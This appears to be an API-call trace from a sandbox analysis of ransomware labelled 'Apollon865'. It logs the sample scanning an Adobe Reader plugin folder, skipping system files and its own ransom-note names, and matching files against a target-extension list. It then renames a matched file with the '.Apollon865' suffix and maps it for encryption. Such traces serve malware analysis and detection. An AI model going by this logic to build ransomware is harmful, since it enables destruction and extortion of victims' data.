	[0057.709] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.DEU" | out: lpString1="Mcimpp.DEU") returned="Mcimpp.DEU"
	[0057.709] lstrlenW (lpString="Mcimpp.DEU") returned 10
	[0057.709] lstrlenW (lpString="Apollon865") returned 10
	[0057.709] lstrlenW (lpString=".dll") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2=".dll") returned 1
	[0057.709] lstrlenW (lpString=".lnk") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2=".lnk") returned 1
	[0057.709] lstrlenW (lpString=".ini") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2=".ini") returned 1
	[0057.709] lstrlenW (lpString=".sys") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2=".sys") returned 1
	[0057.710] lstrlenW (lpString="Mcimpp.DEU") returned 10
	[0057.710] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.ESP" | out: lpString1="Mcimpp.ESP") returned="Mcimpp.ESP"
	[0057.710] lstrlenW (lpString="Mcimpp.ESP") returned 10
	[0057.710] lstrlenW (lpString="Apollon865") returned 10
	[0057.710] lstrlenW (lpString=".dll") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2=".dll") returned 1
	[0057.710] lstrlenW (lpString=".lnk") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2=".lnk") returned 1
	[0057.710] lstrlenW (lpString=".ini") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2=".ini") returned 1
	[0057.710] lstrlenW (lpString=".sys") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2=".sys") returned 1
	[0057.710] lstrlenW (lpString="Mcimpp.ESP") returned 10
	[0057.710] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.EUQ" | out: lpString1="Mcimpp.EUQ") returned="Mcimpp.EUQ"
	[0057.710] lstrlenW (lpString="Mcimpp.EUQ") returned 10
	[0057.710] lstrlenW (lpString="Apollon865") returned 10
	[0057.710] lstrlenW (lpString=".dll") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2=".dll") returned 1
	[0057.710] lstrlenW (lpString=".lnk") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2=".lnk") returned 1
	[0057.710] lstrlenW (lpString=".ini") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2=".ini") returned 1
	[0057.710] lstrlenW (lpString=".sys") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2=".sys") returned 1
	[0057.710] lstrlenW (lpString="Mcimpp.EUQ") returned 10
	[0057.710] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.FRA" | out: lpString1="Mcimpp.FRA") returned="Mcimpp.FRA"
	[0057.710] lstrlenW (lpString="Mcimpp.FRA") returned 10
	[0057.710] lstrlenW (lpString="Apollon865") returned 10
	[0057.710] lstrlenW (lpString=".dll") returned 4
	[0057.710] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2=".dll") returned 1
	[0057.711] lstrlenW (lpString=".lnk") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2=".lnk") returned 1
	[0057.711] lstrlenW (lpString=".ini") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2=".ini") returned 1
	[0057.711] lstrlenW (lpString=".sys") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2=".sys") returned 1
	[0057.711] lstrlenW (lpString="Mcimpp.FRA") returned 10
	[0057.711] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.ITA" | out: lpString1="Mcimpp.ITA") returned="Mcimpp.ITA"
	[0057.711] lstrlenW (lpString="Mcimpp.ITA") returned 10
	[0057.711] lstrlenW (lpString="Apollon865") returned 10
	[0057.711] lstrlenW (lpString=".dll") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2=".dll") returned 1
	[0057.711] lstrlenW (lpString=".lnk") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2=".lnk") returned 1
	[0057.711] lstrlenW (lpString=".ini") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2=".ini") returned 1
	[0057.711] lstrlenW (lpString=".sys") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2=".sys") returned 1
	[0057.711] lstrlenW (lpString="Mcimpp.ITA") returned 10
	[0057.711] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.JPN" | out: lpString1="Mcimpp.JPN") returned="Mcimpp.JPN"
	[0057.711] lstrlenW (lpString="Mcimpp.JPN") returned 10
	[0057.711] lstrlenW (lpString="Apollon865") returned 10
	[0057.711] lstrlenW (lpString=".dll") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2=".dll") returned 1
	[0057.711] lstrlenW (lpString=".lnk") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2=".lnk") returned 1
	[0057.711] lstrlenW (lpString=".ini") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2=".ini") returned 1
	[0057.711] lstrlenW (lpString=".sys") returned 4
	[0057.711] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2=".sys") returned 1
	[0057.711] lstrlenW (lpString="Mcimpp.JPN") returned 10
	[0057.712] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.KOR" | out: lpString1="Mcimpp.KOR") returned="Mcimpp.KOR"
	[0057.712] lstrlenW (lpString="Mcimpp.KOR") returned 10
	[0057.712] lstrlenW (lpString="Apollon865") returned 10
	[0057.712] lstrlenW (lpString=".dll") returned 4
	[0057.712] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2=".dll") returned 1
	[0057.712] lstrlenW (lpString=".lnk") returned 4
	[0057.712] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2=".lnk") returned 1
	[0057.712] lstrlenW (lpString=".ini") returned 4
	[0057.712] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2=".ini") returned 1
	[0057.712] lstrlenW (lpString=".sys") returned 4
	[0057.712] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2=".sys") returned 1
	[0057.712] lstrlenW (lpString="Mcimpp.KOR") returned 10
	[0057.712] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="MCIMPP.mpp" | out: lpString1="MCIMPP.mpp") returned="MCIMPP.mpp"
	[0057.712] lstrlenW (lpString="MCIMPP.mpp") returned 10
	[0057.712] lstrlenW (lpString="Apollon865") returned 10
	[0057.712] lstrlenW (lpString=".dll") returned 4
	[0057.712] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2=".dll") returned 1
	[0057.712] lstrlenW (lpString=".lnk") returned 4
	[0057.712] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2=".lnk") returned 1
	[0057.712] lstrlenW (lpString=".ini") returned 4
	[0057.712] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2=".ini") returned 1
	[0057.712] lstrlenW (lpString=".sys") returned 4
	[0057.712] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2=".sys") returned 1
	[0057.712] lstrlenW (lpString="MCIMPP.mpp") returned 10
	[0057.712] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.NLD" | out: lpString1="Mcimpp.NLD") returned="Mcimpp.NLD"
	[0057.712] lstrlenW (lpString="Mcimpp.NLD") returned 10
	[0057.712] lstrlenW (lpString="Apollon865") returned 10
	[0057.712] lstrlenW (lpString=".dll") returned 4
	[0057.712] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2=".dll") returned 1
	[0057.712] lstrlenW (lpString=".lnk") returned 4
	[0057.712] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2=".lnk") returned 1
	[0057.712] lstrlenW (lpString=".ini") returned 4
	[0057.713] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2=".ini") returned 1
	[0057.713] lstrlenW (lpString=".sys") returned 4
	[0057.713] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2=".sys") returned 1
	[0057.713] lstrlenW (lpString="Mcimpp.NLD") returned 10
	[0057.713] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.NOR" | out: lpString1="Mcimpp.NOR") returned="Mcimpp.NOR"
	[0057.713] lstrlenW (lpString="Mcimpp.NOR") returned 10
	[0057.713] lstrlenW (lpString="Apollon865") returned 10
	[0057.713] lstrlenW (lpString=".dll") returned 4
	[0057.713] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2=".dll") returned 1
	[0057.713] lstrlenW (lpString=".lnk") returned 4
	[0057.713] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2=".lnk") returned 1
	[0057.713] lstrlenW (lpString=".ini") returned 4
	[0057.713] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2=".ini") returned 1
	[0057.713] lstrlenW (lpString=".sys") returned 4
	[0057.713] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2=".sys") returned 1
	[0057.713] lstrlenW (lpString="Mcimpp.NOR") returned 10
	[0057.713] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="MCIMPP.PTB" | out: lpString1="MCIMPP.PTB") returned="MCIMPP.PTB"
	[0057.713] lstrlenW (lpString="MCIMPP.PTB") returned 10
	[0057.713] lstrlenW (lpString="Apollon865") returned 10
	[0057.713] lstrlenW (lpString=".dll") returned 4
	[0057.713] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2=".dll") returned 1
	[0057.713] lstrlenW (lpString=".lnk") returned 4
	[0057.713] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2=".lnk") returned 1
	[0057.713] lstrlenW (lpString=".ini") returned 4
	[0057.713] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2=".ini") returned 1
	[0057.713] lstrlenW (lpString=".sys") returned 4
	[0057.713] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2=".sys") returned 1
	[0057.713] lstrlenW (lpString="MCIMPP.PTB") returned 10
	[0057.713] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.SUO" | out: lpString1="Mcimpp.SUO") returned="Mcimpp.SUO"
	[0057.713] lstrlenW (lpString="Mcimpp.SUO") returned 10
	[0057.713] lstrlenW (lpString="Apollon865") returned 10
	[0057.714] lstrlenW (lpString=".dll") returned 4
	[0057.714] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2=".dll") returned 1
	[0057.714] lstrlenW (lpString=".lnk") returned 4
	[0057.714] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2=".lnk") returned 1
	[0057.714] lstrlenW (lpString=".ini") returned 4
	[0057.714] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2=".ini") returned 1
	[0057.714] lstrlenW (lpString=".sys") returned 4
	[0057.714] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2=".sys") returned 1
	[0057.714] lstrlenW (lpString="Mcimpp.SUO") returned 10
	[0057.715] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="MCIMPP.SVE" | out: lpString1="MCIMPP.SVE") returned="MCIMPP.SVE"
	[0057.715] lstrlenW (lpString="MCIMPP.SVE") returned 10
	[0057.715] lstrlenW (lpString="Apollon865") returned 10
	[0057.715] lstrlenW (lpString=".dll") returned 4
	[0057.715] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2=".dll") returned 1
	[0057.715] lstrlenW (lpString=".lnk") returned 4
	[0057.715] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2=".lnk") returned 1
	[0057.715] lstrlenW (lpString=".ini") returned 4
	[0057.715] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2=".ini") returned 1
	[0057.715] lstrlenW (lpString=".sys") returned 4
	[0057.715] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2=".sys") returned 1
	[0057.715] lstrlenW (lpString="MCIMPP.SVE") returned 10
	[0057.715] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.CAT" | out: lpString1="QuickTime.CAT") returned="QuickTime.CAT"
	[0057.715] lstrlenW (lpString="QuickTime.CAT") returned 13
	[0057.715] lstrlenW (lpString="Apollon865") returned 10
	[0057.715] lstrcmpiW (lpString1="ckTime.CAT", lpString2="Apollon865") returned 1
	[0057.715] lstrlenW (lpString=".dll") returned 4
	[0057.715] lstrcmpiW (lpString1="QuickTime.CAT", lpString2=".dll") returned 1
	[0057.715] lstrlenW (lpString=".lnk") returned 4
	[0057.716] lstrcmpiW (lpString1="QuickTime.CAT", lpString2=".lnk") returned 1
	[0057.716] lstrlenW (lpString=".ini") returned 4
	[0057.716] lstrcmpiW (lpString1="QuickTime.CAT", lpString2=".ini") returned 1
	[0057.716] lstrlenW (lpString=".sys") returned 4
	[0057.716] lstrcmpiW (lpString1="QuickTime.CAT", lpString2=".sys") returned 1
	[0057.716] lstrlenW (lpString="QuickTime.CAT") returned 13
	[0057.716] lstrlenW (lpString="bak") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0057.716] lstrlenW (lpString="ba_") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0057.716] lstrlenW (lpString="dbb") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0057.716] lstrlenW (lpString="vmdk") returned 4
	[0057.716] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0057.716] lstrlenW (lpString="rar") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0057.716] lstrlenW (lpString="zip") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0057.716] lstrlenW (lpString="tgz") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0057.716] lstrlenW (lpString="vbox") returned 4
	[0057.716] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0057.716] lstrlenW (lpString="vdi") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0057.716] lstrlenW (lpString="vhd") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0057.716] lstrlenW (lpString="vhdx") returned 4
	[0057.716] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0057.716] lstrlenW (lpString="avhd") returned 4
	[0057.716] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0057.716] lstrlenW (lpString="db") returned 2
	[0057.716] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0057.716] lstrlenW (lpString="db2") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0057.716] lstrlenW (lpString="db3") returned 3
	[0057.716] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0057.717] lstrlenW (lpString="dbf") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0057.717] lstrlenW (lpString="mdf") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0057.717] lstrlenW (lpString="mdb") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0057.717] lstrlenW (lpString="sql") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0057.717] lstrlenW (lpString="sqlite") returned 6
	[0057.717] lstrcmpiW (lpString1="me.CAT", lpString2="sqlite") returned -1
	[0057.717] lstrlenW (lpString="sqlite3") returned 7
	[0057.717] lstrcmpiW (lpString1="ime.CAT", lpString2="sqlite3") returned -1
	[0057.717] lstrlenW (lpString="sqlitedb") returned 8
	[0057.717] lstrcmpiW (lpString1="Time.CAT", lpString2="sqlitedb") returned 1
	[0057.717] lstrlenW (lpString="xml") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0057.717] lstrlenW (lpString="$er") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0057.717] lstrlenW (lpString="4dd") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0057.717] lstrlenW (lpString="4dl") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0057.717] lstrlenW (lpString="^^^") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0057.717] lstrlenW (lpString="abs") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0057.717] lstrlenW (lpString="abx") returned 3
	[0057.717] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0057.717] lstrlenW (lpString="accdb") returned 5
	[0057.717] lstrcmpiW (lpString1="e.CAT", lpString2="accdb") returned 1
	[0057.717] lstrlenW (lpString="accdc") returned 5
	[0057.717] lstrcmpiW (lpString1="e.CAT", lpString2="accdc") returned 1
	[0057.717] lstrlenW (lpString="accde") returned 5
	[0057.717] lstrcmpiW (lpString1="e.CAT", lpString2="accde") returned 1
	[0057.717] lstrlenW (lpString="accdr") returned 5
	[0057.718] lstrcmpiW (lpString1="e.CAT", lpString2="accdr") returned 1
	[0057.718] lstrlenW (lpString="accdt") returned 5
	[0057.718] lstrcmpiW (lpString1="e.CAT", lpString2="accdt") returned 1
	[0057.718] lstrlenW (lpString="accdw") returned 5
	[0057.718] lstrcmpiW (lpString1="e.CAT", lpString2="accdw") returned 1
	[0057.718] lstrlenW (lpString="accft") returned 5
	[0057.718] lstrcmpiW (lpString1="e.CAT", lpString2="accft") returned 1
	[0057.718] lstrlenW (lpString="adb") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0057.718] lstrlenW (lpString="adb") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0057.718] lstrlenW (lpString="ade") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0057.718] lstrlenW (lpString="adf") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0057.718] lstrlenW (lpString="adn") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0057.718] lstrlenW (lpString="adp") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0057.718] lstrlenW (lpString="alf") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0057.718] lstrlenW (lpString="ask") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0057.718] lstrlenW (lpString="btr") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0057.718] lstrlenW (lpString="cat") returned 3
	[0057.718] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0057.718] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT.Apollon865") returned 96
	[0057.718] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat.apollon865"), dwFlags=0x1) returned 1
	[0057.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0057.719] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2560) returned 1
	[0057.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.720] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.720] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.721] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.721] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x15c
	[0057.722] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x120000
	[0057.723] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.724] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.724] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0057.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.724] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.724] CloseHandle (hObject=0x15c) returned 1
	[0057.724] CloseHandle (hObject=0x154) returned 1
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.725] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QuickTime.CHS", cAlternateFileName="QUICKT~1.CHS")) returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2=".") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="..") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="windows") returned -1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="bootmgr") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="temp") returned -1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="pagefile.sys") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="boot") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="ids.txt") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="ntuser.dat") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="perflogs") returned 1
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="MSBuild") returned 1
	[0057.725] lstrlenW (lpString="QuickTime.CHS") returned 13
	[0057.725] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT") returned 85
	[0057.725] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.CHS" | out: lpString1="QuickTime.CHS") returned="QuickTime.CHS"
	[0057.725] lstrlenW (lpString="QuickTime.CHS") returned 13
	[0057.725] lstrlenW (lpString="Apollon865") returned 10
	[0057.725] lstrcmpiW (lpString1="ckTime.CHS", lpString2="Apollon865") returned 1
	[0057.725] lstrlenW (lpString=".dll") returned 4
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2=".dll") returned 1
	[0057.725] lstrlenW (lpString=".lnk") returned 4
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2=".lnk") returned 1
	[0057.725] lstrlenW (lpString=".ini") returned 4
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2=".ini") returned 1
	[0057.725] lstrlenW (lpString=".sys") returned 4
	[0057.725] lstrcmpiW (lpString1="QuickTime.CHS", lpString2=".sys") returned 1
	[0057.726] lstrlenW (lpString="QuickTime.CHS") returned 13
	[0057.726] lstrlenW (lpString="bak") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="bak") returned 1
	[0057.726] lstrlenW (lpString="ba_") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="ba_") returned 1
	[0057.726] lstrlenW (lpString="dbb") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="dbb") returned -1
	[0057.726] lstrlenW (lpString="vmdk") returned 4
	[0057.726] lstrcmpiW (lpString1=".CHS", lpString2="vmdk") returned -1
	[0057.726] lstrlenW (lpString="rar") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="rar") returned -1
	[0057.726] lstrlenW (lpString="zip") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="zip") returned -1
	[0057.726] lstrlenW (lpString="tgz") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="tgz") returned -1
	[0057.726] lstrlenW (lpString="vbox") returned 4
	[0057.726] lstrcmpiW (lpString1=".CHS", lpString2="vbox") returned -1
	[0057.726] lstrlenW (lpString="vdi") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="vdi") returned -1
	[0057.726] lstrlenW (lpString="vhd") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="vhd") returned -1
	[0057.726] lstrlenW (lpString="vhdx") returned 4
	[0057.726] lstrcmpiW (lpString1=".CHS", lpString2="vhdx") returned -1
	[0057.726] lstrlenW (lpString="avhd") returned 4
	[0057.726] lstrcmpiW (lpString1=".CHS", lpString2="avhd") returned -1
	[0057.726] lstrlenW (lpString="db") returned 2
	[0057.726] lstrcmpiW (lpString1="HS", lpString2="db") returned 1
	[0057.726] lstrlenW (lpString="db2") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="db2") returned -1
	[0057.726] lstrlenW (lpString="db3") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="db3") returned -1
	[0057.726] lstrlenW (lpString="dbf") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="dbf") returned -1
	[0057.726] lstrlenW (lpString="mdf") returned 3
	[0057.726] lstrcmpiW (lpString1="CHS", lpString2="mdf") returned -1
	[0057.726] lstrlenW (lpString="mdb") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="mdb") returned -1
	[0057.727] lstrlenW (lpString="sql") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="sql") returned -1
